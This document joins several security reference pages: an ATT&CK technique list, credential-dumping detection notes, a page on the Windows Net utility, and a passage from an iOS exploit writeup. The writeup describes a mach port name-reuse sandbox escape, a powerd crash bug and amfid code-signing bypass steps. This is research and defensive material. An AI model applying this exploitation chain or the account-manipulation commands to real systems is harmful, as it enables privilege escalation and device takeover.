and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Installer Packages Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Debugger Evasion Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Process Argument Spoofing Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Safe Mode Boot Downgrade Attack Indicator Removal Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Clear Network Connection History and Configurations Clear Mailbox Data Clear Persistence Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Double File Extension Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Dynamic API Resolution Stripped Payloads Embedded Payloads Plist File Modification Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Reflective Code Loading Rogue Domain Controller Rootkit Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification System Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Mavinject MMC System Script Proxy Execution PubPrn Template Injection Traffic Signaling Port Knocking Socket Filters Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token
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versions_v12_techniques_T1585_001.txt
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another thread) but the first thread will still call mach_port_deallocate 0x10002 times on that name. This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but caused by a kernel bug. The challenge to exploiting this bug is getting the exact same port name reused in an interesting way. This requires us to dig in a bit to exacly what a port name is, how they're allocated and under what circumstances they'll be reused. Mach ports are stored in a flat array of ipc_entrys: struct ipc_entry { struct ipc_object *ie_object; ipc_entry_bits_t ie_bits; mach_port_index_t ie_index; union { mach_port_index_t next; /* next in freelist, or... */ ipc_table_index_t request; /* dead name request notify */ } index; }; mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused the generation number is incremented. There are 64 generations, so after an entry has been reallocated 64 times it will have the same generation number. The generation number is checked in ipc_entry_lookup: if (index < space->is_table_size) { entry = &space->is_table[index]; if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) || IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE) entry = IE_NULL; } here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name. Entry allocation: The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will be grown. The table is never shrunk. Reliably looping mach port names: To exploit this bug we need a primitive that allows us to loop a mach port's generation number around. After triggering the urefs bug to free the target mach port name in the target process we immediately send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently freed it will be at the head of the freelist and will be reused to name the first of the ool ports contained in the message (but with an incremented generation number.) Since this message is not expected by the service (in this case we send an invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the freed port was reused to name the first ool port it will be the first to be freed. This will push the name N entries down the freelist. We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry in the table is allocated it will have exactly the same mach port name as the original target right we triggered the urefs bug on. For this iOS exploit I target the send right to com.apple.iohideventsystem which launchd has, and which I can lookup from inside the container sandbox I look up the iohideventsystem service in launchd then use the urefs bug to free launchd's send right and use the looper messages to spin the generation number round. I then register a large number of dummy services with launchd so that one of them reuses the same mach port name as launchd thinks the iohideventsystem service has. (We can't register global mach services from inside the container sandbox but we can register App Group-restricted services, which work just the same for our purposes. This is why the exploit needs the App Groups capability.) Now when any process looks up com.apple.iohideventsystem launchd will actually send them a send right to one of my dummy services :) I add all those dummy services to a portset and use that recieve right and the legitimate iohideventsystem send right I still have to MITM all these new connections to iohideventsystem. As mentioned earlier clients of iohideventsystem send it their task ports, so all I have to do is crash a process which runs as root and is a client of iohideventsystem. When it restarts it will send it's task port to me :-) *** Powerd crasher *** To crash powerd I use CVE-2016-7661: powerd checks in with launchd to get a server port and then wraps that in a CFPort: pmServerMachPort = _SC_CFMachPortCreateWithPort( "PowerManagement", serverPort, mig_server_callback, &context); It also asks to receive dead name notifications for other ports on that same server port: mach_port_request_notification( mach_task_self(), // task notify_port_in, // port that will die MACH_NOTIFY_DEAD_NAME, // msgid 1, // make-send count CFMachPortGetPort(pmServerMachPort), // notify port MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly &oldNotify); // previous mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort: static void mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info) { mig_reply_error_t * bufRequest = msg; mig_reply_error_t * bufReply = CFAllocatorAllocate( NULL, _powermanagement_subsystem.maxsize, 0); mach_msg_return_t mr; int options; __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort); /* we have a request message */ (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head); This passes the raw message to pm_mig_demux: static boolean_t pm_mig_demux( mach_msg_header_t * request, mach_msg_header_t * reply) { mach_dead_name_notification_t *deadRequest = (mach_dead_name_notification_t *)request; boolean_t processed = FALSE; processed = powermanagement_server(request, reply); if (processed) return true; if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) { __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port); PMConnectionHandleDeadName(deadRequest->not_port); __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port); mach_port_deallocate(mach_task_self(), deadRequest->not_port); reply->msgh_bits = 0; reply->msgh_remote_port = MACH_PORT_NULL; return TRUE; } This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME. deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h: typedef struct { mach_msg_header_t not_header; NDR_record_t NDR; mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */ mach_msg_format_0_trailer_t trailer; } mach_dead_name_notification_t; This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to mach_port_deallocate. The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process to drop a reference on a controlled mach port name :) Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port. You could probably do quite interesting things with this bug but in this case I just want to crash the service. I do that by spoofing no-more-senders notifications for powerd's task port. Once powerd's send right to its own task port has been freed pretty much everything breaks - in this case I send a copy_powersources_info message, the receving code doesn't check the return value of a call to mach_vm_allocate which fails because the task's task port is wrong and leads to the use of an uninitialized pointer. *** Kernel Bug **** See above for a short writeup of the kernel bug exploit. I will try to write a long-form writeup soon, but the code should be kind of clear. *** Post-exploitation **** I've taken a slightly different approach post-exploitation. Everything is data-only, I don't make any patches to r/o kernel memory. This means things should also work on the iPhone 7 but I don't have one to test :( There are a number of downsides to taking this approach though: * technically a lot of these things I do are racy, but in pratice it works perfectly well enough for a research platform * some things become quite fiddly which are simple with a TEXT patch This is also a research project for me; there are almost certainly far more downsides that I'm not aware of. iOS is complex, undocumented place and I don't really know what I'm doing! The flow works like this: Walk the process list and find the following tasks: amfid mach_portal containermanagerd launchd Disable the sandbox: sb_evaluate has a short-circuit success path if the process has the kern_cred credentials; neither the plaform policy nor the process's sandbox profile will be evaluated. We can use the kernel memory access to give the mach_portal process the kernel's credentials and we're no longer sandboxed. Fix launchd: The sandbox escape made a mess in launchd so I fix up launchd's send right to iohideventsystem to point back to the correct port. I then restart powerd because otherwise we hit a watchdog timeout. Patch amfid: In order to run unsigned binaries and have somethign like a proper shell environment we need to convince amfid to allow binaries with invalid signatures. Previous efforts in this area have replaced amfids import of MISValidateSignature to a function which would always return 0 (success) but amfid now calls MISValidateSignatureAndCopyInfo which takes an out pointer to a CFDictionary which is expected to contain the correct CDHash so just replacing the import won't work. I instead set myself as amfid's exception handler and point the MISValidateSignatureAndCopyInfo to an invalid address. This means that amfid will crash whenever it validates
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40931.txt
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the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs. Process Creation Monitor for newly executed processes that may be indicative of credential dumping. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. DS Windows Registry Windows Registry Key Access Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. References - The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018. - Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018. - Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020. - Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016. - Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018. - Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016. - Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020. - Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018. - Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. - Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. - DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021. - Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019. - Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. - CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020. - Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018. - Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019. - Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. - Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020. - Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016. - Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020. - Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021. - Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020. - MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021. - Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018. - Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018. - ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021. - Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021. - Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021. - Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021. - Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021. - Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021. - Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. - Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021. - Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020. - TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018. - Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022. - Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018. - Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. - Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021. - ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. - US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. - ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021. - hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020. - Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021. - Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018. - Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021. - ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021. - Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021. - Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017. - Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018. - Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. - FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017. - Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022. - Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019. - Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020. - Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. - Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. - Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. - Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020. - Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018. - ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020. - Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018. - Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021. - FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. - Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019. - Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020. - Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. - Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019. - Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. - Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. - MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022. - Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. - Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. - Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. - Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May
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versions_v11_techniques_T1033.txt
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ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Software - Net Net The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. [1] Net has a great deal of functionality, [2] much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through SMB/Windows Admin Shares using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. ID: S ⓘ Associated Software: net.exe ⓘ Type: TOOL ⓘ Platforms: Windows Contributors: David Ferguson, CyberSponse Version: 2. Created: 31 May Last Modified: 27 November Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Account Discovery: Local Account Commands under net user can be used in Net to gather information about and manipulate user accounts.[2] . Account Discovery: Domain Account Net commands used with the /domain flag can be used to gather information about and manipulate user accounts on the current domain.[3] Enterprise T . Account Manipulation: Additional Local or Domain Groups The net localgroup and net group commands in Net can be used to add existing users to local and domain groups.[4] [5] Enterprise T . Create Account: Local Account The net user username \password commands in Net can be used to create a local account.[2] . Create Account: Domain Account The net user username \password \domain commands in Net can be used to create a domain account.[2] Enterprise T . Indicator Removal: Network Share Connection Removal The net use \system\share /delete command can be used in Net to remove an established connection to a network share.[6] Enterprise T Network Share Discovery The net view \remotesystem and net share commands in Net can be used to find shared drives and directories on remote and local systems respectively.[2] Enterprise T Password Policy Discovery The net accounts and net accounts /domain commands with Net can be used to obtain password policy information.[2] Enterprise T . Permission Groups Discovery: Local Groups Commands such as net group and net localgroup can be used in Net to gather information about and manipulate groups.[2] . Permission Groups Discovery: Domain Groups Commands such as net group /domain can be used in Net to gather information about and manipulate groups.[2] Enterprise T . Remote Services: SMB/Windows Admin Shares Lateral movement can be done with Net through net use commands to connect to the on remote systems.[2] Enterprise T Remote System Discovery Commands such as net view can be used in Net to gather information about available remote systems.[2] Enterprise T System Network Connections Discovery Commands such as net use and net session can be used in Net to gather information about network connections from a particular host.[2] Enterprise T System Service Discovery The net start command can be used in Net to find information about Windows services.[2] Enterprise T . System Services: Service Execution The net start and net stop commands can be used in Net to execute or stop Windows services.[2] Enterprise T System Time Discovery The net time command can be used in Net to determine the local or remote system time.[7] Groups That Use This Software ID Name References G Naikon [8][9] G Magic Hound [10][11] G APT [12] G Dragonfly [13] G Deep Panda [14] G Threat Group- [15] G OilRig [16][17][18] G Threat Group- [19] G APT [20] G APT [21] G menuPass [22] G Ke3chang [23][24] G Leviathan [25] G APT [26] G Orangeworm [27] G GALLIUM [28] G admin@ [29] G INC Ransom [30] G Chimera [31] G APT [32] G FIN [33] G TA [34] G ToddyCat [35] G Turla [36] G APT [37] G Wizard Spider [38][39][40][41][42][43][44][45] G Sandworm Team [46] G APT [47] G APT [48] G Volt Typhoon [49][50] G BRONZE BUTLER [51] Campaigns ID Name Description C C [52] References - Microsoft. (2006, October 18). Net.exe Utility. Retrieved September 22, 2015. - Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015. - Microsoft. (2017, February 14). Net Commands On Windows Operating Systems. Retrieved March 19, 2020. - Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024. - Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024. - Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. - Microsoft. (n.d.). Net time. Retrieved November 25, 2016. - Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. - Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021. - DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022. - DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023. - FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024. - US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. - Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014. - Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017. - Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. - Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. - Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024. - Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016. - NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. - Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. - PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. - Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014. - Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018. - Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. - Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024. - Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018. - Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. - FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015. - Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024. - Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024. - Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. - Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. - Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020. - Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024. - Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. - Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019. - Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. - Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020. - Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020. - The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020. - The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020. - The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020. - Sean Gallagher, Peter Mackenzie, Elida Leite,
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software_S0039.txt
